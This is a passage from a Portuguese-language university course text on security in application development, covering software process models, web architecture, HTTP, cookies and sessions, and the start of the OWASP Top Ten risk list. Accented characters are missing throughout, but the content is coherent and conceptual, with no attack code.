Seguranca Desenvolvimento Aplicacoes

>> Gesto da Segurana da Informao e Comunicaes >> 2009-2011
Maristela Terto de Holanda

Jorge Henrique Cabral Fernandes
SEGURANA NO DESENVOLVIMENTO
DE APLICAES
G
S
I
C
7
0
1
VERSO 1
Este material distribudo sob a licena creative commons
http://creativecommons.org/licenses/by-nc-nd/3.0/br/
Secretaria Pedaggica
Andria Lac
Eduardo Loureiro Jr.
Lvia Souza
Odacyr Luiz Timm
Ricardo Sampaio
Assessoria Tcnica
Gabriel Velasco
Secretaria Administrativa
Indiara Luna Ferreira Furtado
Jucilene Gomes
Martha Arajo
Equipe de Produo Multimdia
Alex Harlen
Lizane Leite
Rodrigo Moraes
Equipe de Tecnologia da Informao
Douglas Ferlini
Osvaldo Corra
Edio, Reviso Tcnica e de Lngua Portuguesa
CEGSIC
Coordenao
Texto e ilustraes: Maristela T. de Holanda; Jorge Henrique C. Fernandes | Capa, projeto grfco e diagramao: Alex Harlen
Desenvolvido em atendimento ao plano de trabalho do Programa de Formao de Especialistas para a Elaborao da
Metodologia Brasileira de Gesto de Segurana da Informao e Comunicaes CEGSIC 2009-2011.
Jos Elito Carvalho Siqueira
Ministro do Gabinete de Segurana Institucional
Antonio Sergio Geromel
Secretrio Executivo
Raphael Mandarino Junior
Diretor do Departamento de Segurana da Informao e
Comunicaes
Reinaldo Silva Simio
Coordenador Geral de Gesto da Segurana da
Informao e Comunicaes
Fernando Haddad
Ministro da Educao
UNIVERSIDADE DE BRASLIA
Jos Geraldo de Sousa Junior
Reitor
Joo Batista de Sousa
Vice-Reitor
Pedro Murrieta Santos Neto
Decanato de Administrao
Rachel Nunes da Cunha
Decanato de Assuntos Comunitrios
Mrcia Abraho Moura
Decanato de Ensino de Graduao
Oviromar Flores
Decanato de Extenso
Denise Bomtempo Birche de Carvalho
Decanato de Pesquisa e Ps-graduao
Nora Romeu Rocco
Instituto de Cincias Exatas
Priscila Barreto
Departamento de Cincia da Computao
Dilma Roussef
Presidente da Repblica
>> CEGSIC 2009-2011 >> SEGURANA NO DESENVOLVIMENTO DE APLICAES
3
Sumrio
[5] Currculo resumido dos autores
[6] 1. Introduo
[7] 2. Software e seu Processo de Desenvolvimento
2.1 Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.2 Processo de desenvolvimento de software . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.3 Modelos de processo de software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.4 O Problema da Segurana no Software . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
[12] 3. Arquitetura de Aplicaes Internet/Web
3.1 O Protocolo HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
[16] 4. Riscos nos desenvolvimento de aplicaes
Internet/Web
4.1 Injeo de SQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
4.2 Cross-Site Scripting (XSS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
4.3 Outros riscos de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
[22] 5. Segurana no Desenvolvimento de Aplicaes e
Software Seguro
5.1 Software Seguro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.2 Desenvolvimento de Software Seguro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.2.1 SDL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
5.2.1.1 Treinamento de Segurana . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
5.2.1.2 Requisitos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.2.1.3 Design . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.2.1.4 Implementao (Codifcao Segura) . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.2.1.5 Verifcao . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.2.1.6 Release (liberao de verses) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
5.2.1.7 Resposta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
5.2.2 CLASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
5.2.2.1 Vises CLASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
5.2.2.2 Recursos CLASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
5.2.2.3 Caso de uso de Vulnerabilidades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
5.3 Codifcao Segura e Programao Defensiva . . . . . . . . . . . . . . . . . . . . . . . 30
4
5.3.1 Codifcao segura no CERT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
5.3.2 Codifcao segura no OWASP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
5.3.3 Codifcao segura na Microsoft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
5.4 A segurana de aplicaes na gesto da segurana da informao . . 34
[35] 6. Segurana dos Arquivos do Sistema
6.1 Proteo dos dados para teste de sistema . . . . . . . . . . . . . . . . . . . . . . . . . . 35
6.2 Controle de acesso ao cdigo-fonte de programa . . . . . . . . . . . . . . . . . . . 36
[37] 7. Gesto de Vulnerabilidades Tcnicas
7.1 Procedimentos para a Gesto de Vulnerabilidade . . . . . . . . . . . . . . . . . . . 38
7.2 Processo de Gerenciamento de Atualizaes da Microsoft . . . . . . . . . . . 38
7.3 Gerenciamento de Patch Ecora . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
[41] 8 Concluses
[42] Referncias Bibliogrficas
5
CURRCULO RESUMIDO DA AUTORA
Maristela Terto de Holanda
mholanda@cic.unb.br
Possui graduao em Engenharia Eltrica pela Universidade Federal do Rio Grande do
Norte (1996), mestrado na rea de Certifcao Digital pelo departamento de Engenharia El-
trica pela Universidade de Braslia (1999) e doutorado em Banco de Dados pelo departamento
de Engenharia Eltrica pela Universidade Federal do Rio Grande do Norte (2007). Professora
Adjunta da Universidade de Braslia desde 2009. Pesquisadora da rea de banco de dados com
nfase em controle de concorrncia, sistemas distribudos e mveis, banco de dados geogrf-
cos banco de dados para bioinformtica. Tambm atual na rea de desenvolvimento web com
estudos relacionados com acessibilidade e segurana.
CURRCULO RESUMIDO DO AUTOR
jhcf@unb.br
Jorge Henrique Cabral Fernandes professor do Departamento de Cincia da Compu-
tao do Instituto de Cincias Exatas e da Ps-Graduao em Cincia da Informao da Fa-
culdade de Cincia da Informao, ambas da Universidade de Braslia. Foi coordenador dos
Cursos de Especializao em Gesto da Segurana da Informao e Comunicaes CEGSIC
2007-2008, CEGSIC 2008-2009 e coordenador do CEGSIC 2009-2011. Possui ttulos de Doutor
(2000) e Mestre (1992) em Cincia da Computao pelo Centro de Informtica da Universida-
de Federal de Pernambuco. Especialista em Engenharia de Sistemas pelo Departamento de
Informtica e Matemtica Aplicada da Universidade Federal do Rio Grande do Norte (1988) e
Bacharel em Cincias Biolgicas pelo Centro de Biocincias da Universidade Federal do Rio
Grande do Norte (1987). Servidor pblico de universidades federais desde 1984, atualmente se
dedica pesquisa, ensino e extenso nas reas de informao e computao, com nfase em
fundamentos, gesto, governana da segurana e software.
6
1. Introduo
Esse texto um guia de referncia para estudos da Disciplina Segurana no Desenvolvi-
mento de Aplicaes, do Curso de Especializao em Gesto da Segurana da Informao e
Comunicaes 2009-2011, CEGSIC 2009-2011.
Ao fnal do texto espera-se que o leitor seja capaz de perceber as caractersticas e desafos
gerais que se aplicam ao desenvolvimento de aplicaes de software para o ambiente Internet/
Web, bem como algumas prticas recomendadas na Seo 12 da norma ISO/IEC 17799:2005, que
aborda Segurana na Aquisio, desenvolvimento e manuteno de sistemas de informao. Os
principais conceitos abordados no texto so: Software e seu processo de desenvolvimento (se-
o 2); Arquitetura de Aplicaes Internet/Web (seo 3); principais riscos de ataques aos quais
esto sujeitas aplicaes na internet/Web (seo 4); processos e mtodos para segurana no de-
senvolvimento de software (seo 5); recomendaes para segurana de arquivos em sistemas
computacionais (seo 6) e gesto de vulnerabilidades tcnicas (seo 7).
7
2. Software e seu Processo de
Desenvolvimento
Um software desenvolvido em um processo de desenvolvimento, que usualmente
construdo baseado em um modelo de processo previamente descrito na comunidade de en-
genharia de software
1
, a partir das experincias de sucessos e insucessos das organizaes
produtoras de software.
2.1 Software
Existem na literatura algumas defnies em relao palavra software, dentre as quais
destacam-se as apresentadas a seguir.
Software de computador o produto que os profssionais de software
constroem e, depois, mantm ao longo do tempo. Abrange programas
que executam em computadores de qualquer tamanho e arquitetura,
contedo que apresentado ao programa a ser executado e docu-
mentos tanto em forma impressa quanto virtual que combinam todas
as formas de mdia eletrnica (PRESSMAN, 2006).
Software um conjunto de programas de computador e a documen-
tao associada. Software no apenas o programa mas tambm
toda a documentao associada e os dados de confgurao necess-
rios para fazer com que esses programas operem corretamente (SOM-
MERVILLE, 2005).
Um software pode ser composto por apenas algumas poucas dezenas de linhas de cdigo
construdas por um programador em poucas horas, bem como pode ser composto por mi-
lhes de linhas de cdigo, imagens, dados de confgurao, documentao etc, resultantes de
um laborioso processo envolvendo centenas de pessoas que trabalham de forma coordenada
durante vrios anos. Existe, portanto, uma variedade de tipos de software, mas conforme Stair
e Reynolds (2006), os software
2
podem ser classifcados em dois tipos principais: software de
sistema, que so os que controlam as operaes bsicas de um computador (sistema opera-
cional, dentre outros) e software de aplicao para fns especfcos, como, por exemplo, o que
realiza o controle fnanceiro de uma empresa especfca. O software de aplicao pode ser cha-
mado simplesmente de aplicao ou aplicativo e o foco desse texto.
Conforme destaca Fernandes (2010a), um software de aplicao, em geral, parte de um
sistema automatizado, e serve para automatizar um processo organizacional. Um software de
sistema, por outro lado, automatiza um processo computacional que usualmente no teria
viabilidade de ser executado por um ser humano, por exemplo, o processamento de pacotes
do IP (Internet Protocol) em um dispositivo de redes de computadores.
Um software deve sempre satisfazer as necessidades dos seus clientes
3
e usurios
4
. O sof-
tware tambm deve ter um desempenho sem falhas por um longo perodo de tempo e deve
1 Engenharia de software pode ser defnida como a disciplina que visa a construo multipessoal
de software multiversional (IEEE Computer Soceity, 2004). Em outras palavras, muitas pessoas
desenvolvendo um produto de software durante um perodo de tempo no qual so lanadas
diversas verses do software (meses, dias, anos e dcadas). Para uma viso geral da engenharia
de software recomendam-se os livros de Sommerville (2005), Pressman (2006). Na pgina http://
www.cic.unb.br/~jhcf tambm possvel ter acesso a apresentaes introdutrias do assunto.
2 O plural de software software mesmo, isso , sem s ao fnal da palavra.
3 Os clientes de um software so as pessoas responsveis pela aquisio e implantao do software,
usualmente representam uma organizao que precisa automatizar um sistema de informaes.
4 Os usurios de um software so os que entram em contato direto com o aplicativo de software,
e que usam ativamente a interface do sistema de informaes automatizado pelo software.
8
ser de fcil modifcao (PRESSMAN, 2006). Nesse contexto, Sommerville (2005) destaca os
seguintes atributos essenciais de qualidade de um software:
Facilidade de manuteno: o software deve ser escrito de modo que possa evoluir
para atender s necessidades mutveis dos clientes e usurios.
Nvel de confana compatvel com o uso: o nvel de confana envolve confabilidade,
proteo e segurana.
Efcincia: o software no deve desperdiar os recursos do sistema computacional no
qual executado.
Facilidade de uso: o software deve ser de fcil utilizao, deve ter uma interface apro-
priada e documentao adequada.
Para que tais atributos de qualidade sejam alcanados se faz necessrio que o software
seja desenvolvido por meio de um processo adequado.
2.2 Processo de desenvolvimento de software
Um processo de software um conjunto de atividades e resultados associados, desenvol-
vidos ciclicamente (como qualquer processo) em uma organizao produtora de software, e
que busca gerar um software com qualidade ou atributos esperados. Segundo Sommerville
(2005), so atividades fundamentais comuns a todos os processos de software:
Especifcao do software: as funcionalidades do software e as restries em sua ope-
rao devem ser previamente defnidas em alguma fase do processo.
Desenvolvimento do software. O processo deve fazer com que o software a ser produ-
zido atenda s suas especifcaes.
Validao de software. O processo deve validar o software, para garantir que ele faa
o que o cliente deseja.
Evoluo do software. O processo deve permitir que software, durante sua evoluo
ao longo de vrias verses, continue a atender peridica mudana de necessidades
de seus clientes e usurios.
Toda organizao adota um processo de desenvolvimento de software, mesmo que ele
seja catico. A melhoria de processos de produo de software depende, muitas vezes, de en-
volvimento de consultores em melhoria de processo.
2.3 Modelos de processo de software
O processo de software executado em uma organizao usualmente formulado com base
em uma coleo de padres previamente descritos, e que defnem um conjunto de atividades,
aes, tarefas de trabalho, produtos de trabalho e/ou comportamento relacionados necessrios
ao desenvolvimento de software em geral. Dessa forma, um modelo de processo de software
agrega um conjunto distinto de atividades, aes e tarefas, marcos e produtos de trabalho que
so necessrios para fazer engenharia de software com qualidade (PRESSMAN, 2006).
Segundo Pressman (2006), [um modelo de] processo de software pode ser visto como um
roteiro que deve ser seguido para criar um software de alta qualidade em um tempo deter-
minado. Tal modelo de processo , portanto, uma representao abstrata de um processo de
software (SOMMERVILLE, 2005), e precisa ser ajustado s necessidades especfcas e concretas
do processo de software de cada organizao em particular, bem como s caractersticas es-
pecfcas do software que deve ser desenvolvido, usualmente no contexto de um projeto, com
prazo e custos limitados.
Vrios modelos de processo de software foram descritos ao longo dos cerca de 40 anos
de evoluo da engenharia de software, e a seguir so apresentados os modelos Cascata e do
Processo Unifcado.
9
O Modelo em cascata, algumas vezes chamado de modelo de ciclo de vida clssico, su-
gere uma abordagem sequencial para o desenvolvimento de software. Esse modelo o mais
antigo da engenharia de software (PRESSMAN, 2006). Outros modelos de processo de software
podem ser encontrados na literatura, tais como modelo incremental, evolucionrio, espiral.
Um modelo de processo muito utilizado atualmente, o [modelo de] Processo Unifca-
do, criado por Ivar Jacobson, Grady Booch e James Rumbaugh que traz a necessidade de um
processo de software guiado por caso de uso, centrado na arquitetura, iterativo e incremental
(Pressman, 2006; Sommerville, 2005).
O [modelo de] Processo Unifcado, representado na Figura 1, organiza em duas dimenses
as vrias atividades, aes, tarefas de trabalho, produtos de trabalho e comportamento relacio-
nados necessrios ao desenvolvimento de software:
O eixo horizontal do Processo Unifcado representa o tempo e mostra as vrias fases
do processo de desenvolvimento, cada uma com suas metas especfcas. As quatro
fases do [modelo de] Processo Unifcado possuem metas especfcas e que incluem
(SCOTT, 2003):
na Iniciao, tambm chamada de Concepo, a meta estabelecer a viabilidade
do sistema de software proposto;
na Elaborao a meta estabelecer a capacidade para a construo do novo sis-
tema de software, dadas as caractersticas arquiteturais do software, as restries
fnanceiras e de cronograma do projeto, entre outros;
na Construo meta a construo plena do sistema de software, de forma ite-
rativa (em vrios ciclos de trabalho) e incremental (os requisitos do software so
gradual e cumulativamente implementados em cada iterao); e
na Transio a meta entregar o sistema completamente funcional ao ambiente
operacional do cliente.
O eixo vertical do Processo Unifcado apresenta as principais disciplinas do processo
de desenvolvimento de software, nas quais atuam os profssionais que desempenham
papis especializados:
Modelagem de negcios
Requisitos (ou necessidades dos clientes e usurios).
Anlise e Design (do software)
Implementao (construo de cdigo e componentes)
Teste (inclusive Validao)
Implantao (do software em seu ambiente operacional)
Gerenciamento de confgurao e mudanas
Gerenciamento de projeto
Ambiente (de desenvolvimento de software)
10
Figura 1 Processo Unifcado. Fonte: (SCOTT, 2003).
Na Figura 1 destaca-se que ao longo das fases do Processo Unifcado varia o esforo dos
profssionais que atuam em cada uma das disciplinas. Por exemplo, na fase de Iniciao maior
esforo despendido pelos que atuam na modelagem de negcios e Requisitos. Na fase de
Elaborao diminui o esforo da Modelagem de Negcios e de Requisitos e aumenta o esforo
de Anlise e Design.
O Processo Unifcado s vezes chamado de RUP (Rational Unifed
Proccess) por causa da Rational Corporation empresa pioneira no
desenvolvimento de ferramentas e tecnologias para apoiar o de-
senvolvimento do software (Pressman, 2006). A Rational foi incor-
porada IBM Corporation no incio deste sculo.
2.4 O Problema da Segurana no Software
Software um componente fundamental
5
na automao dos processos de sistemas de
informao e processos da infra-estrutura computacional. Se esses processos de sistemas de
informao e de infraestrutura computacional falham, seja por causas acidentais, como erros
de um operador humano ou erros na programao do software, seja por causas intencionais,
como ataques por um hacker, vrios so os problemas que podem ser gerados. De fato, pode-
-se dizer que, de forma complementar aos incidentes de segurana decorrentes de falhas ou
ataques do componente humano no trato da informao, a grande maioria dos demais inci-
dentes de segurana da informao tem sua origem nas vulnerabilidades presentes no softwa-
re. Um dos principais fatores causadores dessas vulnerabilidades a codifcao ingnua do
software por um programador, quando o mesmo considera basicamente os cenrios positivos
de execuo de um cdigo, sem se preocupar com o caso de usurios maliciosos.
5 tambm fundamental para o desenvolvimento tecnolgico, social e econmico.
11
Os incidentes decorrentes da explorao dessas vulnerabilidades so geralmente relacio-
nados com a indisponibilidade, a divulgao indevida de informao e a perda de integridade
da informao.
A Microsoft (2010) usa o acrnimo STRIDE para classifcar os efeitos que podem ser provo-
cados em decorrncia de falhas de segurana em uma aplicao, sendo: S de spoofng (falsifca-
o de identidade de um usurio); T de tampering (adulterao de integridade da informao
ou do sistema); R de repudiation (repudiao ou negao de execuo de ato previamente
cometido por um usurio); I de Information disclosure (divulgao indevida de informao);
D de denial of service (negao de servio); e E de elevation of privilege (escalao de privil-
gios indevidos por parte de um usurio). Esses efeitos podem produzir impactos de baixo a
alto valor, dependendo do tipo de aplicao ou sistema computacional no qual o software
est executando. Podem gerar incidentes simples envolvendo, por exemplo, a necessidade de
reinstalar um aplicativo em uma mquina de uso pessoal, bem como incidentes que impactam
vidas humanas, como a perda de controle de um sistema de gerao ou transmisso de ener-
gia eltrica, ou de sistemas de comunicao, de defesa, de transportes, mdico-hospitalares
etc. O livro de Neumann (1995) apresenta uma grande compilao de incidentes de segurana
computacional ocorridos at o ano de 1995
6
.
Considerado o cenrio acima descrito, torna-se claro que a segurana da informao em
ambientes tecnolgicos depende em grande parte da adoo de segurana para a aquisio e
desenvolvimento de software. Ocorre que os modelos de processo de software desenvolvidos
at antes da disseminao da Internet, como Cascata e UP, foram concebidos em um momento
histrico e tecnolgico onde ainda no havia preocupao generalizada com os vrios proble-
mas de segurana decorrentes da exposio das aplicaes computacionais s redes abertas.
Conforme destaca Fernandes (2010a), a exposio de uma aplicao Internet aumenta enor-
memente a possibilidades de ataques e explorao de vulnerabilidades nessa aplicao. Em
resposta a essa situao recente, o desenvolvimento de software tem evoludo nos ltimos seis
anos visando incorporar de forma mais explcita o trato de questes de segurana da informa-
o durante seu desenvolvimento. Antes de apresentar quais so estas evolues, a prxima
seo apresenta uma breve introduo s caractersticas arquiteturais de aplicaes computa-
cionais para o ambiente Internet/Web, visando dar ao leitor uma noo mais precisa dos riscos
aos quais esto sujeitos tais tipos de aplicaes. Embora a abordagem seja parcial, visto que
nem todas as aplicaes so para ambiente Web e Internet, espera-se que a exposio permita
a compreenso da amplitude do problema de segurana no desenvolvimento de aplicaes.
6 Muitos mais incidentes e acidentes atribudos a falhas em computadores ocorreram depois da
publicao do livro de Neumann, e informao mais atualizada pode ser encontrada em http://
catless.ncl.ac.uk/Risks/.
12
3. Arquitetura de Aplicaes Internet/Web
Figura 2 Uma Arquitetura Abstrata para Aplicaes Internet/Web. Fonte: Os autores.
Na Figura 2 so ilustrados componentes computacionais que esto relacionados com a
arquitetura de um software aplicativo (aplicao) na Web, que um tipo de aplicao baseada
no modelo cliente-servidor. Estes componentes so:
Cliente. O cliente usualmente um computador que executa um navegador Web (bro-
wser
7
), que manipula textos e programas escritos nas linguagens HTML
8
(HyperText
Markup Language), javascript
9
e XML
10
(eXtensible Markup Language), dentre outros
elementos. O computador cliente se comunica com o servidor enviado solicitaes,
pedidos ou requests baseados no protocolo de comunicao chamado de HTTP
(HyperText Transfer Protocol
11
). Uma aplicao web usualmente composta por uma
quantidade varivel de clientes, que pode variar de umas poucas unidades at mi-
lhes de computadores, celulares etc;
7 Veja uma defnio mais aprofundada do que um navegador web em http://en.wikipedia.org/
wiki/Web_browser. A pgina em portugus no contm informao precisa sobre o que um
browser.
8 Para uma introduo linguagem de construo de pginas HTML veja http://pt-br.html.net/
tutorials/html/
9 Para uma introduo linguagem de programao Javascript veja http://www.javascript-tuto-
rial.com.br/content-cat-1.html
10 Para uma introduo linguagem de marcao de dados XML, em lngua inglesa, veja http://
www.w3schools.com/xml/default.asp.
11 A especifcao detalhada e didtica do protocolo http descrita, em lngua inglesa, em http://
www.w3.org/Protocols/rfc2616/rfc2616.html.
13
Servidor. O computador servidor possui componentes de software que so capazes
de entender as solicitaes HTTP enviadas pelo cliente, alm de conter componen-
tes relacionados com a prpria aplicao que deve automatizar algum sistema de
informaes. As aplicaes web so escritas em diferentes linguagens de programa-
o, por exemplo, Java, PhP, C#.NET, Perl, ASP, JSP, JSF, dentre outras. Uma aplicao
web usualmente contm uma quantidade de servidores, que variam de um a algumas
dezenas de servidores, dependendo do porte da aplicao. Os servidores atuam de
forma coordenada e muitas vezes so replicados, por questes de tolerncia a falhas
e melhoria de desempenho.
Sistema Gerenciador de Banco de Dados: Um ou mais bancos de dados usados por
uma aplicao Web residem usualmente em computadores distintos do servidor web,
chamados SGBDs. Os SGBDs so acessados diretamente apenas pelos servidores Web,
por meio de comandos da linguagem SQL
12
(Structured Query Language). Nos bancos
de dados esto armazenados os dados e informaes utilizadas pela aplicao. Uma
aplicao web usualmente acessa vrios bancos de dados, muitas vezes replicados
por questes de tolerncia a falhas e melhoria de desempenho.
Internet/Web. A Internet a rede mundial que permite a conectividade entre os mi-
lhes de computadores servidores e os bilhes de computadores clientes. Os compu-
tadores servidor e cliente que conversam por meio do protocolo HTTP e sua variante
de transmisso de dados criptografados, o protocolo HTTPS, constituem o que se
chama de World Wide Web (WWW) ou simplesmente Web. A existncia da Internet/
Web, interposta entre os servidores e clientes a fonte de sucesso das aplicaes web,
mas tambm a principal origem dos ataques contra a segurana de tais aplicaes.
Um elemento central para o sucesso no funcionamento das aplicaes web o protocolo
HTTP, que implementado tanto pelos servidores web como pelos browsers (navegadores), e
descrito a seguir.
3.1 O Protocolo HTTP
O HTTP (Hypertext Transfer Protocol) um protocolo para sistemas de informaes distribudos
e hipermdia. Atravs desse protocolo possvel a um cliente navegar na web, enviado solicitaes
http e recebendo respostas http de vrios servidores web, de forma simultnea ou concorrente.
O protocolo HTTP foi projetado para permitir a transferncia de documentos HTML e ou-
tros recursos hipermdia como imagens, scripts, arquivos de som etc, especialmente do servi-
dor web para o cliente web, mas tambm na direo do cliente web para o servidor web. No
protocolo HTTP um cliente, que usualmente um browser (navegador), que reside em um
computador cliente, e que faz uma solicitao ou pedido (Request) a um aplicativo que reside
no servidor, seja de forma explcita, por meio da digitao de uma URL no browser ou de forma
implcita, por meio de navegao em hiperlinks. O servidor web um aplicativo que respons-
vel por produzir respostas (Response) em decorrncia das solicitaes do cliente (browser). A
Figura 3 ilustra esse processo.
12 Para uma breve apresentao da linguagem SQL veja http://pt.wikipedia.org/wiki/SQL . Para
uma introduo completa linguagem SQL, em ingls, veja http://www.w3schools.com/sql/
default.asp.
14
Figura 3: Comunicao via o Protocolo http. Fonte: Os Autores.
O endereo que inserido pelo usurio de um navegador para acessar um recurso, em geral
uma pgina, localizado em um determinado servidor na web chamado de URL (Universal Re-
source Locator). Uma URL composta pela regra de formao descrita na Figura 4, que contem:
a. Protocolo usado na comunicao, usualmente o HTTP;
b. Endereo IP ou nome de domnio da mquina;
c. A porta na qual o servidor web recebe o pedido de conexo;
d. O caminho do programa e as variveis que so passadas na solicitao.
A porta padro das URLs que usam o protocolo HTTP a de nmero 80. Quando o servi-
dor web responder por essa porta no necessrio informar esse nmero na URL. Na Figura 4
cada uma das partes ilustrada.
Figura 4: Regra de formao de uma URL. Fonte: Os Autores.
15
A parte da url que vem aps o sinal de interrogao chamada de QUERY, e usualmente
contm variveis e seus respectivos valores, que foram encaminhados pelo cliente na solicita-
o HTTP. A Figura 5 apresenta um exemplo de uma QUERY que tem duas variveis: nome e
cargo, com os seus respectivos valores. As variveis da QUERY so separadas pelo smbolo &.
Figura 5: Um exemplo de QUERY. Fonte: Os Autores.
O texto abaixo apresenta um exemplo completo de uma URL fctcia, onde se supe que
seria usada para fazer consulta por meio do protocolo http, junto ao cadastro de usurios de
um stio web localizado no computador cujo nome de domnio www.cic.unb.br. O caminho
da aplicao /cadastro/consulta e a query nome=Maristela&cargo=Aluna.
http://www.cic.unb.br:80/cadastro/consulta?nome=Maristela&cargo=Aluna
O Protocolo http, descrito em detalhes na RFC 2618, um protocolo originalmente con-
cebido para facilitar a navegao de browsers atravs de uma rede de pginas HTML nas quais
no h gerao dinmica de informao criada ao longo de uma sesso de trabalho. Sendo
assim, foi projetado para uso em sistemas de informao stateless, isso , em sistemas que
no guardam o estado de sesses de trabalho ou de transaes. Sesses de trabalho podem
ser realizadas por meio do processamento de uma sequncia de pedidos e respostas HTTP
vinculados, como comum ocorrer em stios de comrcio eletrnico. Ocorre que aps o desen-
volvimento do modelo hipermdia da Web os ambientes da Internet e da Web mostraram-se
altamente propcios construo de sistemas de informao transacionais, especialmente de
comrcio eletrnico. Nesse caso, se fez necessrio criar extenses arquitetura de aplicaes
web, as quais permitem a vinculao de vrios pedidos e respostas HTTP a um nico navega-
dor web, visando facilitar a programao de sistemas transacionais. Essa extenso consistiu
basicamente da criao de cookies HTTP e sesses web.
Um cookie HTTP um minsculo conjunto de informaes que so repetidamente copia-
das do servidor para o cliente web e do cliente web para o servidor, em cada um dos pedidos
e respostas HTTP trocados entre dois agentes ao longo de vrias horas e dias de interao. O
cookie carrega usualmente, entre outras informaes, um identifcador nico gerado aleato-
riamente quando do processamento do primeiro pedido enviado pelo navegador ao servidor,
que o identifcador da sesso web do navegador. A sesso web, identifcada pelo nmero
contido no cookie, consiste em um conjunto de dados armazenados no servidor web que guar-
dam detalhes da vinculao da interao de um usurio com um determinado servidor web.
Atravs da sesso web possvel criar aplicaes que utilizam conceitos como carrinho de
compra, por exemplo, onde uma lista de produtos a serem comprados criada ao longo de
vrios pedidos e respostas HTTP trocados entre o navegador e o servidor.
16
4. Riscos nos desenvolvimento de
aplicaes Internet/Web
Aplicaes Internet/Web, ou simplesmente aplicaes web so grandes alvos de ataques
de segurana atualmente, por isso, o foco dessa disciplina em software na web. Segundo o
SANS Institute (SANS, 2009)
13
em seu documento The Top Cyber Security Risks :
Ataques contra [vulnerabilidades de] aplicaes web constituem mais
de 60% do total das tentativas observadas na Internet. Essas vulne-
rabilidades esto sendo amplamente exploradas para converter web
sites confveis em web sites maliciosos, que fornecem contedo ex-
plorvel no lado do cliente e vulnerabilidades em aplicaes web ....
O grande problema em relao s aplicaes web que a rede de comunicaes pode estar se-
gura, com frewall, controle de acesso, mas, mesmo assim, um usurio mal intencionado pode, atravs
de entrada de dados em um formulrio web, executar vrios tipos de ataques que escapam completa-
mente ao controle da equipe de segurana em redes. O problema da segurana das aplicaes web,
e a difculdade que as abordagens de segurana em redes de computadores tm para alcanar essa
segurana so descritos em mais detalhes em trabalhos como Paiva e Medeiros (2008). Durante os
ltimos anos, o nmero de vulnerabilidades descobertas em aplicaes web tem sido muito maior
do que o nmero de vulnerabilidades descobertas em sistemas operacionais e, como resultado, mais
tentativas de explorao so registradas em aplicaes web que em sistemas operacionais.
O emprego de tcnicas de desenho e codifcao de software ingnuas, que no conside-
ram a possvel malcia dos usurios na outra extremidade da aplicao, ou mesmo as possveis
vulnerabilidades introduzidas pelo uso de bibliotecas de cdigo de origem duvidosa, tornam
o problema cada vez mais evidente, fazendo com que o emprego de aplicaes web por orga-
nizaes seja um negcio arriscado.
Os institutos de segurana na web atualizam continuamente suas listas com os tipos mais
frequentes de riscos, ataques e vulnerabilidades em aplicaes web. Como pode ser observado
no grfco da Figura 9, disponibilizado pelo OSVD (Open Source Vulnerability Database), os ata-
ques de XSS (Cross-Site Scripting) e Injeo de SQL, CSRF (Cross-site request forgery), Incluso de
arquivo, DoS e overfow vem acontecendo com frequncia ao longo dos anos.
Figura 9: Vulnerabilidades. Fonte: (OSVDB, 2010)
13 SANS SANS (SysAdmin, Audit, Network, Security) Institute www.sans.org
17
Outras duas listas que apresentam diferentes riscos em aplicaes web so: The Ten Most
Critical Web Application Security Risk (OWASP, 2010) e Top 25 Most Dangerous Software Errors
(Christey, 2010).
A lista dos Top Ten Most Critial Web Application Security Risk disponvel pela OWASP com-
posta dos seguintes riscos (OWASP, 2010):
1. Injeo: As falhas de injeo, em especial SQL Injection, so comuns em aplicaes
Web. A injeo ocorre quando os dados fornecidos pelo usurio so enviados a um
interpretador com parte do comando ou consulta. A informao maliciosa fornecida
pelo atacante engana o interpretador que ir executar comandos mal intencionados
ou manipular informaes.
2. Cross-Site Scripting (XSS): Os furos XSS ocorrem sempre que uma aplicao obtm
as informaes fornecidas pelo usurio e as envia de volta ao navegador sem realizar
validao ou codifcao daquele contedo. O XSS permite aos atacantes executarem
scripts no navegador da vtima, o qual pode roubar sesses de usurio, modifcar sites
Web, introduzir worms etc.
3. Autenticao falha e Gerenciamento de Sesso: As credenciais de acesso e o token
de sesso no so protegidos apropriadamente com bastante frequncia. Atacantes
comprometem senhas, chaves ou tokens de autenticao de forma a assumir a iden-
tidade de outros usurios.
4. Referncia Insegura Direta a Objetos: Uma referncia direta a objeto ocorre quan-
do um desenvolvedor expe a referncia a um objeto implementado internamente,
